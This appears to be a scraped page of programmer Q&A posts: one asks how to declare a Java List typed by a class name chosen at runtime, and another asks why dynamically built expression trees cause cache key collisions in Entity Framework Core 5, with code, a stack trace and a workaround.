  } else if (type instanceof ParametrizedType) {
    ...
  } else if (type instanceof Class) {
    Class clazz = (Class) type;
    if (clazz.isEnum()) {
    ....
    }
    // probably it's an object
  }
}




How to declear a list variable of specific class base on classname in java

description:

  • I need declear a list maybe bound mutiple types.One type in each run.

pseudo-code:

// first run
String Type = "Foo";
List<Type> results = new ArrayList<Type>();// want to declear a `List<Foo>` variable here
// second run
String Type = "Bar";
List<Type> results = new ArrayList<Type>();// want to declear a `List<Bar>` variable here

what I have tried:

  1. use switch
Foo.java
public class Foo {
}
Bar.java
public class Bar {
}
test.java

public class test{
    public static void main(String[] args) {
        String type = "Bar";
        switch (type){
            case "Bar":
                List<Bar> barResults = new ArrayList<>();
                Bar tempBar = new Bar();
                barResults.add(tempBar);
                System.out.println(barResults);
                break;
            case "Foo":
                List<Foo> fooResults = new ArrayList<>();
                Foo tempFoo = new Foo();
                fooResults.add(tempFoo);
                System.out.println(fooResults);
                break;
        }
    }
  • I think it works (not 100% comfirmed), but it will cause a lot of duplicated code.
  1. Use reflection and extract a function
public class test{
    public static void main(String[] args) {
        try {
            Class<?> type = Class.forName("Bar");
            List<?> result = new test().mytry(type);
            System.out.println(result);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
    }
    public List<?> mytry(Class<?> classname) {
        List<Object> results = new ArrayList<>();
        try {
            Object obj = classname.getDeclaredConstructor().newInstance();
            results.add(obj);
            return results;
        } catch ( NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
            e.printStackTrace();
        }
        return null;
    }
}
  • I can't comfirm whether it works or not.
  1. Use map
  • (In progress)

question:

  • How to declear a list of specific class base on classname?




mardi 10 août 2021

Why runtime Expressions cause collisions on the Cache of Entity Framework Core 5?

Before I forget it, my execution context, I'm using .Net 5 with the packages:

  • Microsoft.EntityFrameworkCore.Design 5.0.6
  • Microsoft.EntityFrameworkCore.Relational 5.0.6
  • MySql.EntityFrameworkCore 5.0.3.1

My main goal was to remove the repetitive task of doing expressions when I need to retrieve entities, something like:

public class GetListEntity
{
   property int QueryProperty { get; set }
}

public class Entity
{
   property int Property { get; set }
}

public async Task<ActionResult> List(GetListEntity getListEntity)
{
   var restrictions = new List<Expression<Func<Entity>
   if (model.QueryProperty != null)
   { 
      restrictions.Add(e => e.Property == model.QueryProperty);
   }
   ... //Add all the queryable properties and Aggregate the Expression on the variable expectedEntity and get an IQueryable of the entities as queryableEntities from my DbContext
   
   var nonTrackedQueryableEntities = queryableEntities.Where(expectedEntity)
                                                      .AsNoTracking();

   // I will get the total first because the API was meant to paginate the responses.
   var total = await entites.CountAsync();
}

I've managed to achieve what I wanted but let's say... partially, because if I try to Query the Database at least two times in a row I get this exception:


System.ArgumentException: An item with the same key has already been added. Key: e
   at System.Collections.Generic.Dictionary`2.TryInsert(TKey key, TValue value, InsertionBehavior behavior)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareLambda(LambdaExpression a, LambdaExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareBinary(BinaryExpression a, BinaryExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareLambda(LambdaExpression a, LambdaExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareUnary(UnaryExpression a, UnaryExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareExpressionList(IReadOnlyList`1 a, IReadOnlyList`1 b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareMethodCall(MethodCallExpression a, MethodCallExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareExpressionList(IReadOnlyList`1 a, IReadOnlyList`1 b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareMethodCall(MethodCallExpression a, MethodCallExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareExpressionList(IReadOnlyList`1 a, IReadOnlyList`1 b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.CompareMethodCall(MethodCallExpression a, MethodCallExpression b)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.ExpressionComparer.Compare(Expression left, Expression right)
   at Microsoft.EntityFrameworkCore.Query.ExpressionEqualityComparer.Equals(Expression x, Expression y)
   at Microsoft.EntityFrameworkCore.Query.CompiledQueryCacheKeyGenerator.CompiledQueryCacheKey.Equals(CompiledQueryCacheKey other)
   at Microsoft.EntityFrameworkCore.Query.RelationalCompiledQueryCacheKeyGenerator.RelationalCompiledQueryCacheKey.Equals(RelationalCompiledQueryCacheKey other)
   at MySql.EntityFrameworkCore.Query.Internal.MySQLCompiledQueryCacheKeyGenerator.MySQLCompiledQueryCacheKey.Equals(MySQLCompiledQueryCacheKey other)
   at MySql.EntityFrameworkCore.Query.Internal.MySQLCompiledQueryCacheKeyGenerator.MySQLCompiledQueryCacheKey.Equals(Object obj)
   at System.Collections.Concurrent.ConcurrentDictionary`2.TryGetValue(TKey key, TValue& value)
   at Microsoft.Extensions.Caching.Memory.MemoryCache.TryGetValue(Object key, Object& result)
   at Microsoft.Extensions.Caching.Memory.CacheExtensions.TryGetValue[TItem](IMemoryCache cache, Object key, TItem& value)
   at Microsoft.EntityFrameworkCore.Query.Internal.CompiledQueryCache.GetOrAddQuery[TResult](Object cacheKey, Func`1 compiler)
   at Microsoft.EntityFrameworkCore.Query.Internal.QueryCompiler.ExecuteAsync[TResult](Expression query, CancellationToken cancellationToken)
   at Microsoft.EntityFrameworkCore.Query.Internal.EntityQueryProvider.ExecuteAsync[TResult](Expression expression, CancellationToken cancellationToken)
   at Microsoft.EntityFrameworkCore.EntityFrameworkQueryableExtensions.ExecuteAsync[TSource,TResult](MethodInfo operatorMethodInfo, IQueryable`1 source, Expression expression, CancellationToken cancellationToken)
   at Microsoft.EntityFrameworkCore.EntityFrameworkQueryableExtensions.ExecuteAsync[TSource,TResult](MethodInfo operatorMethodInfo, IQueryable`1 source, CancellationToken cancellationToken)
   at Microsoft.EntityFrameworkCore.EntityFrameworkQueryableExtensions.CountAsync[TSource](IQueryable`1 source, CancellationToken cancellationToken)'
   

Following the trace I managed to discover that the ORM is caching for some reason my expressions (and putting the parameter name, in this case 'e') and failing to detect a key collision the second time it has a similar expression to query the database. I said for some reason because, it's not the main deal but at least is odd that cache is involved in a non tracked query, maybe I'm missing something in the middle.

To undenrstand how i got here i will put the code below.

First an interface to implement in every model related with querying a list of entities and expose the extension method ListRestrictions (almost at the bottom).

public interface IEntityFilter<TEntity>
{ 
}

The next step was to define Attributes to summarize the action to do with the property and generate a partial expression to use in the extension method:

[AttributeUsage(AttributeTargets.Property, AllowMultiple = false)]
    public abstract class FilterByPropertyAttribute : Attribute
    {
        protected string FirstPropertyPath { get; }

        protected IEnumerable<string> NPropertyPath { get; }

        public FilterByPropertyAttribute(string firstPropertyPath, params string[] nPropertyPath)
        {
            this.FirstPropertyPath = firstPropertyPath;
            this.NPropertyPath = nPropertyPath;
        }

        protected MemberExpression GetPropertyExpression(ParameterExpression parameterExpression)
        {
            var propertyExpression = Expression.Property(parameterExpression, this.FirstPropertyPath);
            foreach (var propertyPath in this.NPropertyPath)
            {
                propertyExpression = Expression.Property(propertyExpression, propertyPath);
            }
            return propertyExpression;
        }

And to avoid comparisons with nullable structs


        public abstract Expression GetExpression(ParameterExpression parameterExpression, object propertyValue);
    }

    public abstract class NonNullableValuePropertyFilterAttribute : FilterByPropertyAttribute
    {
        public NonNullableValuePropertyFilterAttribute(string firstPropertyPath, params string[] nPropertyPath)
            : base(firstPropertyPath, nPropertyPath)
        {
        }

        public override Expression GetExpression(ParameterExpression parameterExpression, object propertyValue)
        {
            var propertyExpression = this.GetPropertyExpression(parameterExpression);
            return this.GetExpression(propertyExpression, this.GetConvertedConstantExpression(propertyExpression, Expression.Constant(propertyValue)));
        }

        protected abstract Expression GetExpression(MemberExpression memberExpression, UnaryExpression unaryExpression);

        private UnaryExpression GetConvertedConstantExpression(MemberExpression memberExpression, ConstantExpression constantExpression)
        {
            var convertedConstantExpression = Expression.Convert(constantExpression, memberExpression.Type);
            return convertedConstantExpression;
        }
    }

An Attribute with a defined role would be:


public class EqualPropertyFilterAttribute : NonNullableValuePropertyFilterAttribute
    {

        public EqualPropertyFilterAttribute(string firstPropertyPath, params string[] nPropertyPath)
            : base(firstPropertyPath, nPropertyPath)
        {
        }

        protected override Expression GetExpression(MemberExpression memberExpression, UnaryExpression unaryExpression)
        {
            return Expression.Equal(memberExpression, unaryExpression);
        }
    }

And last, the extension itself:

    public static class EntityFilterExtensions
    {
        public static List<Expression<Func<TEntity, bool>>> ListRestrictions<TEntity>(this IEntityFilter<TEntity> entityFilter)
        {
            var entityFilterType = entityFilter.GetType();            
            var propertiesInfo = entityFilterType.GetProperties()
                                                 .Where(pi => pi.GetValue(entityFilter) != null 
                                                              && pi.CustomAttributes.Any(ca => ca.AttributeType
                                                                                                 .IsSubclassOf(typeof(FilterByPropertyAttribute))));

            var expressions = Enumerable.Empty<Expression<Func<TEntity, bool>>>();
            if (propertiesInfo.Any())
            {
                var entityType = typeof(TEntity);
                var parameterExpression = Expression.Parameter(entityType, "e");
                expressions =  propertiesInfo.Select(pi =>
                {
                    var filterByPropertyAttribute = Attribute.GetCustomAttribute(pi, typeof(FilterByPropertyAttribute)) as FilterByPropertyAttribute;
                    var propertyValue = pi.GetValue(entityFilter);
                    var expression = filterByPropertyAttribute.GetExpression(parameterExpression, propertyValue);
                    return Expression.Lambda<Func<TEntity, bool>>(expression, parameterExpression);
                });
            }

            return expressions.ToList();
        }
    }


A usage would be:


public class GetListEntity : IEntityFilter<Entity>
{
   [EqualPropertyFilter(nameof(Entity.Property))]
   property int QueryProperty { get; set }
}

public class Entity
{
   property int Property { get; set }
}

public async Task<ActionResult> List(GetListEntity getListEntity)
{
   var restrictions = getListEntity.ListRestrictions();
   ... //Add all the queryable properties and Aggregate the Expression on the variable expectedEntity and get an IQueryable of the entities as queryableEntities from my DbContext
   
   var nonTrackedQueryableEntities = queryableEntities.Where(expectedEntity)
                                                      .AsNoTracking();

   // I will get the total first because the API was meant to paginate the responses.
   var total = await entites.CountAsync();
}

And to be discarded, if I Aggregate a non dynamic expression of a list of expressions, the ORM works fine, when I do it with the dynamic ones I get the exception at the beginning.

I found a workaround, changing in the method extension this line:


var parameterExpression = Expression.Parameter(entityType, "e");

For this one:


var parameterExpression = Expression.Parameter(entityType, $"{entityType.Name}{entityFilter.GetHashCode()}");

I wanna know why this happens and maybe if there is another way to fix it. I posted here before opening a thread in any Github repository because I'm still curious if is a fault of mine for missing something in the way or a bug.